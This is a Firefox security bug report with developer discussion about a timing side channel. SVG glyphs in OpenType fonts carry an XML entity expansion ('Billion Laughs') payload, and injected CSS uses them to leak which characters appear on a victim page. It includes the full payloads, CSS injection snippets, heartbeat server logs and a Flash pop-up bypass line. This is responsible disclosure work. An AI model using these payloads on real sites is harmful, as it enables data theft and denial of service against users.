1266386 - OTF-SVG allows to read single characters with only a STYLE injection via XEE

Status: NEW

(Core :: SVG, defect)

Description

[Mario Heiderich]

Attachment: This is a font, that causes delay via XEE when a "0" is present in the connected text.

User Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Build ID: 20160325004402

Steps to reproduce:

*Intro*

Mozilla Firefox supports a feature that allows to define SVG images inside an OTF font to represent characters. This is useful if we for example want to work with colorful characters, Emoji, animated characters and so on. Firefox is currently the only relevant browser supporting this technology.

The general technology and its advantages are described here:
https://hacks.mozilla.org/2014/10/svg-colors-in-opentype-fonts/

Currently, there is not many tools available that support using SVG-enriched OTF fonts. The attack was build using this tool:
https://github.com/rocallahan/svg-opentype-workshop

The attack aims for the following goal:

Use SVG-enriched OTF fonts to exfiltrate information about which characters are contained by:

 * A website in general (shown text, not source code)
 * A specific element on that website (text inside that element)
 * A specific attribute value (via CSS attr())

So, in general, the attack aims to exfiltrate information about text shown on a website. Such as:

 * <div>secret</div>
 * <div class="secret">notsecret</div>

The attacker is assumed to have one tool: Injection of CSS into the affected website. The attacker has no capabilities of injecting active HTML, forms, links or otherwise dangerous elements, only a STYLE element is needed.


Actual results:

*Attack*

The attack makes use of the fact, that SVG-enriched OTF fonts can be used to produce a timing side channel. While SVG data deployed in the context of an OTF font is very secure (no scripting, no HTTP leaks, no other obvious side channels), an attacker can in fact abuse XML Entity Expansion (XEE) and create a timing delay affecting the entire browser. This timing delay will be produced by an attack that is similar to the well known  "Billion Laughs" XML attack.

Note that Firefox' XML parser is aware of that attack so we need to be a bit careful and not overdo it. The XML shown below produces quite a delay (much more than needed for a timing side-channel - just to demo it more clearly).

To create the setup for the attack, we need to create a font, that produces different delays for different characters. We can make the delay differ by either using different entity amounts, or simply by using a different font per character we want to test for, and then by repeating the attack several times, once for each character we want to test for.

Let's first create an evil font. A font that will cause a delay only when the character zero is present.

We open the SVG workbench tool linked above, we load an arbitrary OTF font, we add the SVG code seen below.

<?xml version="1.0"?>
<!DOCTYPE svg [
 <!ENTITY lol "lol">
 <!ELEMENT svg (#PCDATA)>
 <!ELEMENT text (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;">
]>
<svg id="glyph19" viewBox="0 500 30 10" version="1.1" xmlns="http://www.w3.org/2000/svg">
	<text x="10" y="10" fill="red">&lol4;</text>
</svg>

Then we save the font. The saved font is already attached to this report so you can skip that step. 

Now, we create two websites. One that contains the character "0" and one that doesn't (but instead contains the character "1"). We have the example sources (in a very very minimal manner) below this paragraph.

We assume that we can inject CSS into the website. CSS should not give us a way to read character data from a different tab, correct? 

<style>
@font-face {
  font-family: test;
  src: url('is-a-zero-present.otf'); // attack font one
}
* {
  font-family: test;
  font-size:   50px;
  margin-top:  180px;
}
</style>
0 < this is the character we want to time. It's in the font, big delay!


<style>
@font-face {
  font-family: test;
  src: url('is-a-zero-present.otf'); // attack font one
}
* {
  font-family: test;
  font-size:   50px;
  margin-top:  180px;
}
</style>
1 < this is the character we want to time. It's not in the font, no delay 


<style>
@font-face {
  font-family: test;
  src: url('is-a-one-present.otf'); // attack font two
}
* {
  font-family: test;
  font-size:   50px;
  margin-top:  180px;
}
</style>
1 < this is the character we want to time. It's now in the font, big delay! 

Now, we have shown, how we can cause a delay caused by XEE that is coming from a font that we apply via an injected STYLE element. Depending on the font (and the glyphs in there) we get different results for different characters in the page body. If we have a 0 present and the font produces an XEE for the character 0: Delay. If not: No delay. We can do this now for each and every character. Either with a more complex font. Or with many requests where each injection always uses a different font, each probing for a different character. 

But we want to be able to exfiltrate that info too, correct?

We can indeed do this in a trivially easy way. Firefox will be "dossed" completely for a short time by the XEE. That affects each tab. The victim tab as well as the attacker tab. Let's now assume, that the attacker tab is doing two things:

 a) Sending a heartbeat request every 500ms to attacker com
 b) Abusing a pop-up blocker bypass to open victim.com automatically

We have that pop-up blocker bypass, let's talk about that later.

So, the website on attacker.com sends a request every 500ms to the attacker's server. That looks like this in the logs:

Normal server log:
127.0.0.1 - - [21/Apr/2016:13:35:07 +0200] "GET /?heartbeat HTTP/1.1" 200 2298 "http://0x0/test2.html" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
127.0.0.1 - - [21/Apr/2016:13:35:08 +0200] "GET /?heartbeat HTTP/1.1" 200 2298 "http://0x0/test2.html" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
127.0.0.1 - - [21/Apr/2016:13:35:08 +0200] "GET /?heartbeat HTTP/1.1" 200 2298 "http://0x0/test2.html" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
127.0.0.1 - - [21/Apr/2016:13:35:09 +0200] "GET /?heartbeat HTTP/1.1" 200 2298 "http://0x0/test2.html" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
127.0.0.1 - - [21/Apr/2016:13:35:09 +0200] "GET /?heartbeat HTTP/1.1" 200 2298 "http://0x0/test2.html" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
127.0.0.1 - - [21/Apr/2016:13:35:10 +0200] "GET /?heartbeat HTTP/1.1" 200 2298 "http://0x0/test2.html" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
127.0.0.1 - - [21/Apr/2016:13:35:10 +0200] "GET /?heartbeat HTTP/1.1" 200 2298 "http://0x0/test2.html" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
127.0.0.1 - - [21/Apr/2016:13:35:11 +0200] "GET /?heartbeat HTTP/1.1" 200 2263 "http://0x0/test2.html" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
127.0.0.1 - - [21/Apr/2016:13:35:11 +0200] "GET /?heartbeat HTTP/1.1" 200 2300 "http://0x0/test2.html" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
127.0.0.1 - - [21/Apr/2016:13:35:12 +0200] "GET /?heartbeat HTTP/1.1" 200 2299 "http://0x0/test2.html" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"

As you can see, two requests per second, all is fine.

Now, we use the pop-up blocker bypass (more about that later) to open victim.com every like... five seconds. Always with a different CSS injected, loading a different font. If one of the injections matches a character on the page or the element we want to learn about, the XEE triggers. The whole browser freezes for a moment.

That will cause the heartbeat to stop! Frozen browser, no requests for the time of freezing. That means, we know *exactly* that the character was detected.

Server log when character was found:

Firefox/45.0"
127.0.0.1 - - [21/Apr/2016:13:35:47 +0200] "GET /?heartbeat HTTP/1.1" 200 2299 "http://0x0/test2.html" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
127.0.0.1 - - [21/Apr/2016:13:35:48 +0200] "GET /?heartbeat HTTP/1.1" 200 2299 "http://0x0/test2.html" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
127.0.0.1 - - [21/Apr/2016:13:35:49 +0200] "GET /?heartbeat HTTP/1.1" 200 2299 "http://0x0/test2.html" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
127.0.0.1 - - [21/Apr/2016:13:36:13 +0200] "GET /?heartbeat HTTP/1.1" 200 2300 "http://0x0/test2.html" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
127.0.0.1 - - [21/Apr/2016:13:36:13 +0200] "GET /?heartbeat HTTP/1.1" 200 2299 "http://0x0/test2.html" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
127.0.0.1 - - [21/Apr/2016:13:36:14 +0200] "GET /?heartbeat HTTP/1.1" 200 2299 "http://0x0/test2.html" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
127.0.0.1 - - [21/Apr/2016:13:36:15 +0200] "GET /?heartbeat HTTP/1.1" 200 2299 "http://0x0/test2.html" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"

Notice the gap in the log above? That is the XEE.

So, let's summarize:

 * We need a page where we can inject CSS. And where XSS or other nastiness is impossible (because WAF, NoScript, CSP, Sandboxed Iframe, etc.)
 * We want to read shown text data (of HTML attribute values) from that page, byte by byte
 * We open victim.com from attacker.com while attacker.com already runs the heartbeat
 * When the injected CSS in victim.com produces a delay via the XEE in the font, the heartbeat stops
 * attacker.com thus knows that a certain character is present in the selected element, the attack continues for the next character(s)
 * The attack finished, the attacker checks the server log and learns about the exfitrated characters

This can of course be done in many different ways, maybe there is even a more elegant way. One of the ways we deemed to be okay-elegant is the way, where attacker.com opens the victim.com page automatically in a new tab, always one tab at a time, multiple times in a row.

We do however need a pop-up blocker bypass for that. Any luckily, there is one. Flash, AS3 and navigateToURL('', 'popup');. If attacker.com runs a Flash file that calls getURL, the new tab will open automatically. This behavior is unique to Firefox, as is the OTF+SVG feature.  

This is how the AS3 would look like:

navigateToURL(new URLRequest('http://victim.com/?css=...'), 'popup');`

Wait, you also said that we can read attribute values? Yes - check this example:

<style>
div::after {
content:attr(class);
font-family: monospace;
}
</style>
<div class="secret">not mono</div>

As you can see, we can put the attribute value into the DOM - and set a font for this. Done.


Expected results:

*Solution*

 * Disable entity processing for OTF+SVG fonts
 * Maybe take care of the pop-up blocker bypass while you're at it :D

Comment 1

[Mario Heiderich]

Added @freddyb because why not and Giorgio because not sure how NoScript handles this.

Comment 2

[Mario Heiderich]

Attachment: This ZIP contains a small PoC.

Comment 3

[Mario Heiderich]

Comment on attachment 8743828 [details]
This ZIP contains a small PoC.

Opening one file (that contains a "0") causes a freeze, opening the other (that contains a "1") causes no freeze. Both use the same attack-font.

Comment 4

[Frederik Braun [:freddy]]

I've spun off the popup blocker bypass to its own bug. AFAIU from other bypasses, they don't need to be confidential. See bug 1266397.

Comment 5

[Mario Heiderich]

Attachment: Here is an example of the popup-blocker bypass

Comment 6

[Frederik Braun [:freddy]]

Can't repro the delay on Dev Edition or Nightly, but only on release.
Trying to find what fixed this.

Comment 7

[Frederik Braun [:freddy]]

I tried using mozregression, to identify why this isn't such a big delay on nightly and all clues point to https://bugzilla.mozilla.org/show_bug.cgi?id=1180942

Comment 8

[Frederik Braun [:freddy]]

According to Mario the bug still repros on release as well as nightly on Windows. This needs more testing.

Comment 9

[Mario Heiderich]

So, we first assumed that the bug was fixed in newer versions. 

Turns out it is not. I tested, this time on Windows 10 and Nightly (fresh install, default settings). Changing the font a bit makes it work again - including the browser-wide freeze and delay and thereby the resulting side-channel.

Updated code for the glyph:

<?xml version="1.0"?>
<!DOCTYPE svg [
 <!ENTITY lol "lol">
 <!ELEMENT svg (#PCDATA)>
 <!ELEMENT text (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;">
]>
<svg id="glyph19" viewBox="0 500 30 10" version="1.1" xmlns="http://www.w3.org/2000/svg">
	<text x="10" y="10" fill="red">&lol5;</text>
</svg>

Comment 10

[Kamil Jozwiak [:kjozwiak]]

Freddy, I went through several OS's as per our IRC conversation and added the results below. Using the SVG-enriched tool, I generated a new OTF font using the code from comment #9. The slow downs and delays are really noticeable on the release/beta channels and somewhat noticeable under the aurora/nightly channels but are not as bad.

Another thing to take into consideration, this was tested on VM's so that might have amplified the delays a bit compared to a real machine. Nonetheless, there's definitely slow downs and delays.

Let me know if there's anything else that I can do here to help!

OS's Used:

* Windows 10 x64 VM
* OSX 10.7.5 x64 VM
* OSX 10.8.5 x64 VM
* OSX 10.9.5 x64 VM

Results:

* fx 45.0.2 m-r using buildID: 20160407164938 changeset: e35da3da61cb
** notice a very large delay when interacting with the browser
** resizing the browser completely freezes the browser for a few seconds
** makes fx almost unusable

* fx 46.0b9 m-b using buildID: 20160407053945 changeset: b007110e9005
** notice a very large delay when interacting with the browser
** resizing the browser completely freezes the browser for a few seconds
** makes fx almost unusable

* fx 47.0a2 m-a using buildID: 20160422004039 changeset: a704f4cf969c
** noticed a small delay when switching to the opened poc but other than that, it's not as noticable as in release/beta builds
** nonetheless there's still some delays but definitely not as noticable as it's in release/beta

* fx 48.0a1 m-c using buildID: 20160422030223 changeset: 0891f0fa044c
** noticed a small delay when switching to the opened poc but other than that, it's not as noticable as in release/beta builds
** nonetheless there's still some delays but definitely not as noticable as it's in release/beta

Comment 11

[Mario Heiderich]

@Kamil @Freddy It turned out that fx 47+ is simply faster with the entity processing. That is why the attack was believed to be non-working on newer versions in the first place. But we can always add more entities ^^.

Given that the attacker controls the font and likely knows what browser the victim is using before delivering the attack, the font would simply be using more entities for all newer fx versions.

Taking all that into consideration, I believe the attack is similarly effective on all fx versions (45-48+).

Comment 12

[Frederik Braun [:freddy]]

Thank you for testing, Kamil! Setting bug to NEW.
I think this is a sec-high.

Jonathan, you are the module owner for SVG.
Can you help us find somone to work on this?

Comment 13

[Jonathan Watt [:jwatt]]

(In reply to Mario Heiderich from comment #0)
> *Solution*
> 
>  * Disable entity processing for OTF+SVG fonts
>  * Maybe take care of the pop-up blocker bypass while you're at it :D

I don't think disabling entity processing for SVG-in-OT prevents this attack. There are other ways to make an SVG glyph very expensive to render, such as adding SVG filter effects to it. (That said, disabling doctype processing seems like a good idea to me.)

CC'ing some other people who may have thoughts on this.

Comment 14

[Daniel Holbert [:dholbert]]

(In reply to Mario Heiderich from comment #0)
> The attacker is assumed to have one tool: Injection of CSS into the affected website.

How is it expected that the hacker would get this tool?

(Apparently Chrome *does* grant some version of this ability, as discovered in bug 1248444 comment 4, though I'm not sure if it can be used for this bug. As noted there, Firefox disallows writing to cross-origin stylesheets, to avoid mischief like this.)

Note also that if an attacker could add CSS to a victim's website, they can already get up to all sorts of mischief, even without this bug. For example:
 * They could add rules like ".foo { background: url(attacker.com/.../loadedFoo.png") to send a pingback if particular page elements load (which leaks information about page contents).
 * They could restyle/reposition elements on the page to cause all sorts of clickjacking-like nastiness. (e.g. move the "Delete Account" button to be right on top of the "Send" button, so that the user accidentally deletes their account)

> CSS should not give us a way to read character data from a different tab, correct? 

Well, CSS can absolutely leak information about a page's contents, via custom background-images and stuff like that. I don't see this bug as being substantially different from that...  If a victim site is somehow allowing attacker-controlled CSS to restyle their page, aren't they already kinda hosed?

Comment 15

[Daniel Holbert [:dholbert]]

Also: I don't think this is SVG-dependent at all -- if we're assuming an attacker can restyle your page with their custom font using CSS, they could use a non-SVG font as well (say, WOFF) which simply has an extremely complex drawing function for whichever characters the attacker cares about ("0" in your example).  They could also include complex ligatures, to detect pairs of characters -- not just individual characters.

(jfkthame, please sanity-check me on the above & correct me if I'm wrong)

So, I think:
 (1) This isn't SVG-specific -- any attacker who can inject CSS could perform this attack with other font formats as well.
 (2) Any attacker who's in a position to carry out this attack can also perform other similarly-bad attacks (my bullet points in comment 14). So, mitigating this specific attack wouldn't necessarily do much good.
 (3) It's unclear to me how an attacker could get in a position to carry out this attack. If they can, it seems to me like *that's* the vulnerability we should address, rather than this particular thing (of many things) that the attacker can do once they've got this ability.

Comment 16

[Mario Heiderich]

(In reply to Daniel Holbert [:dholbert] from comment #15)
> Also: I don't think this is SVG-dependent at all -- if we're assuming an
> attacker can restyle your page with their custom font using CSS, they could
> use a non-SVG font as well (say, WOFF) which simply has an extremely complex
> drawing function for whichever characters the attacker cares about ("0" in
> your example).  They could also include complex ligatures, to detect pairs
> of characters -- not just individual characters.
> 
> (jfkthame, please sanity-check me on the above & correct me if I'm wrong)
> 
> So, I think:
>  (1) This isn't SVG-specific -- any attacker who can inject CSS could
> perform this attack with other font formats as well.
>  (2) Any attacker who's in a position to carry out this attack can also
> perform other similarly-bad attacks (my bullet points in comment 14). So,
> mitigating this specific attack wouldn't necessarily do much good.
>  (3) It's unclear to me how an attacker could get in a position to carry out
> this attack. If they can, it seems to me like *that's* the vulnerability we
> should address, rather than this particular thing (of many things) that the
> attacker can do once they've got this ability.

Hi Daniel. I don't agree with pretty much anything you say :) 

Websites quite commonly allow a user to influence CSS. Think web mailers, messengers, extensions like Mailvelope and other tools, where it is expected to send around styled yet inactive, XSS-free markup. 

Or, when it cannot be guaranteed that no XSS can be present, user-controlled markup that runs in a no-script environment like sand-boxed Iframes or a page with CSP prohibiting JavaScript but allowing CSS. For the penetration tests we carry out, we use CSS-attacks quite often. Not every day, not every week - but often enough to be significant.

There is (even academic) research on that as well:

https://www.nds.rub.de/media/emma/veroeffentlichungen/2012/08/16/scriptlessAttacks-ccs2012.pdf
http://de.slideshare.net/x00mario/stealing-the-pie
http://lcamtuf.coredump.cx/postxss/

This particular attack goes beyond the attacks that you described. None of the attacks you mentioned has the capability to piece by piece exfiltrate single characters using CSS only. And, given that the font used for the character freezes the entire browser, we can even do so across tabs. Feel free to prove me wrong by mentioning an attack that is CSS based and can read single characters.

I am not sure how far we can go with WOFF, I think SVG as an XML-based language is far more interesting than any other font format since we have the "DoS as a feature" via XEE. So, again, I disagree with you. But feel free to challenge me here with a WOFF-based attack of the same or similar kind.

Comment 17

[Daniel Holbert [:dholbert]]

(In reply to Mario Heiderich from comment #16)
> Websites quite commonly allow a user to influence CSS. Think web mailers,
> messengers, extensions like Mailvelope and other tools, where it is expected
> to send around styled yet inactive, XSS-free markup.

I can imagine web mailers and messengers allowing content to bring along CSS *to style that content*.  But if they care at all about security, they'd better be sure they're not allowing that CSS to style stuff outside of the content (via iframe isolation, or something like that).

Put simply: if someone's able to restyle my webmail UI simply by sending me an email that includes some CSS, then I'd consider that an **extremely** serious bug in the webmail product! The fact that this lets them also read characters on the screen is also bad, but the restylability would already be very bad even without that.

As for Mailvelope and other extensions: I don't know exactly how those are used, but I assume any CSS they're adding/working-with is implicitly trusted. If they allow for 3rd-party untrusted CSS to be applied to an arbitrary page, then I'd consider that a security concern, independent of this attack.

> Or, when it cannot be guaranteed that no XSS can be present, user-controlled
> markup that runs in a no-script environment like sand-boxed Iframes or a
> page with CSP prohibiting JavaScript but allowing CSS.

I'm having a hard time thinking of use cases for this sort of sandbox. Maybe as a sandbox for webmail to mitigate the hypothetical "restyle your webmail interface" attack discussed above?  In a webmail scenario with a sandboxed email-that-includes-CSS, there shouldn't be any serious risk, because the "attacker" who's providing the CSS will only be able to read back the very same email that he sent you.  (If the site includes private data in this same iframe sandbox, I'd argue that would be unwise of them...)

> This particular attack goes beyond the attacks that you described. None of
> the attacks you mentioned has the capability to piece by piece exfiltrate
> single characters using CSS only.

Sure. My point was simply that 3rd-party CSS already trivially allows you to leak information about the contents of a site (and cause other mischief).  Leaking character data is another interesting & arguably-worse level of leakage, but *any* leakage / mischievous restyling is already bad enough.  I don't see why this new scenario changes the calculus here very much, other than slightly upping the paranoia level of any site operator who wants to allow 3rd-party CSS for some reason.

> Feel
> free to prove me wrong by mentioning an attack that is CSS based and can
> read single characters.

(Again, I'm not saying this *exact* attack is already possible via other means.  Just that other similarly-bad things are already possible for an attacker who'd be in a position to exploit this.)

> I am not sure how far we can go with WOFF, I think SVG as an XML-based
> language is far more interesting than any other font format since we have
> the "DoS as a feature" via XEE. So, again, I disagree with you.

I'll merit that it's easier to author SVG (and selectively-expensive-to-render SVG) by hand -- but I'm pretty sure other font formats can intentionally include some characters that take significantly longer to render than other characters, and that's the key thing you're relying on here.

> But feel
> free to challenge me here with a WOFF-based attack of the same or similar
> kind.

I don't have font authoring tools locally or any experience creating fonts; I'll defer to jfkthame's expertise on whether comment 15 makes sense.  (hence my needinfo=him)

Comment 18

[Jonathan Kew [:jfkthame]]

(In reply to Daniel Holbert [:dholbert] from comment #15)
> Also: I don't think this is SVG-dependent at all -- if we're assuming an
> attacker can restyle your page with their custom font using CSS, they could
> use a non-SVG font as well (say, WOFF) which simply has an extremely complex
> drawing function for whichever characters the attacker cares about ("0" in
> your example).  They could also include complex ligatures, to detect pairs
> of characters -- not just individual characters.
> 
> (jfkthame, please sanity-check me on the above & correct me if I'm wrong)
> 
> So, I think:
>  (1) This isn't SVG-specific -- any attacker who can inject CSS could
> perform this attack with other font formats as well.
>  (2) Any attacker who's in a position to carry out this attack can also
> perform other similarly-bad attacks (my bullet points in comment 14). So,
> mitigating this specific attack wouldn't necessarily do much good.
>  (3) It's unclear to me how an attacker could get in a position to carry out
> this attack. If they can, it seems to me like *that's* the vulnerability we
> should address, rather than this particular thing (of many things) that the
> attacker can do once they've got this ability.

I'm in agreement with Daniel here. I don't see anything here that is substantially different from what can already be done via existing font types such as OpenType.

The fact that SVG makes it relatively easy to create glyphs that take greatly varying amounts of time to render does make it a possible DoS vector, I suppose. But the web platform is full of those, from the basic JS loop that creates ever-growing strings onwards. And the performance characteristics might be used as one way to determine which particular characters are present -- but wouldn't it be even easier for an attacker to just create a collection of single-character webfonts, list them all in the font-family descriptor, and then watch to see which of them get requested from their server?

And if an attacker can apply untrusted CSS, including webfonts, to arbitrary content that they shouldn't be able to have access to, you've got all kinds of other problems, too. How about if they slip in a font that re-maps all the digit characters to different digits, totally corrupting all dates, phone numbers, bank statements, etc that you think you're reading? :)

See also bug 1218123.

Comment 19

[Mario Heiderich]

@Daniel Quite frankly, I find these discussions about what website might and what website might not do this and that awkward, extremely tiring and unproductive. 

From my standpoint as a penetration tester, I can say for sure that we quite commonly run into CSS only injections. If that wasn't the case, we wouldn't be searching for browser bugs in this direction in the first place. In several of those injection scenarios, this attack can be used. In others not. From your standpoint, things might be different. I accept that.

So let's maybe get back to talking about facts: 

Firefox has a bug here, it's an XEE via SVG fonts, it can be used to leak sensitive data, to freeze or to do other nasty things. 

It's not my job to paint colorful scenarios in a bug report - and I will not go out there now and find a high-traffic website vulnerable to this attack and present it here. I described the bug in all detail I have at hands and will not engage in further "I don't think anyone would do that" discussions.

Comment 20

[Jonathan Kew [:jfkthame]]

(In reply to Mario Heiderich from comment #19)
> Firefox has a bug here, it's an XEE via SVG fonts,

The same issue exists for SVG images outside of fonts, doesn't it? I can cause a "freeze" of several seconds with a simple standalone SVG image using a similar technique...

> it can be used to leak
> sensitive data,

The same issue exists for non-SVG fonts, doesn't it? Again, see bug 1218123.

(I'm not questioning that if an attacker has the means to inject malicious CSS, there are some nasty things they can do with it. But it's not clear to me that SVG fonts are substantially changing the picture here.)

Comment 21

[Mario Heiderich]

Well then let's agree that this is not a security issue and should be closed as WONTFIX. 

I'll publish the bug report later today. Secret Gist is here, will set it to public if no one objects: https://gist.github.com/cure53/1501bcb6aa6608b2af38fcafd68af219

Comment 22

[Jonathan Kew [:jfkthame]]

AFAICS, that seems fine, but if it's OK with you I'd suggest waiting long enough to give West Coast-based security-team folk a chance to see the current discussion, and let us know if they have any additional insights.

:dveditz, any thoughts?

Comment 23

[Daniel Holbert [:dholbert]]

(I suspect dveditz will echo his bug 1218123 comment 9, when he un-hid that bug: "There are people who think that if they disable JavaScript they are safe from maliciousness and tracking. They are incorrect, but this surprises them.")

But yes, good to loop him in here.

Comment 24

[Daniel Veditz [:dveditz]]

We can unhide this. The only real way to stop this is to de-support an entire feature and that shouldn't be done in secret. As long as it exists then evangelising the problem may help wake people up that CSS injection is nearly as dangerous as script injection, and that if sites want to allow user-supplied styles they need to invent some kind of limited markdown as they do for HTML insertion rather than allow the raw feature.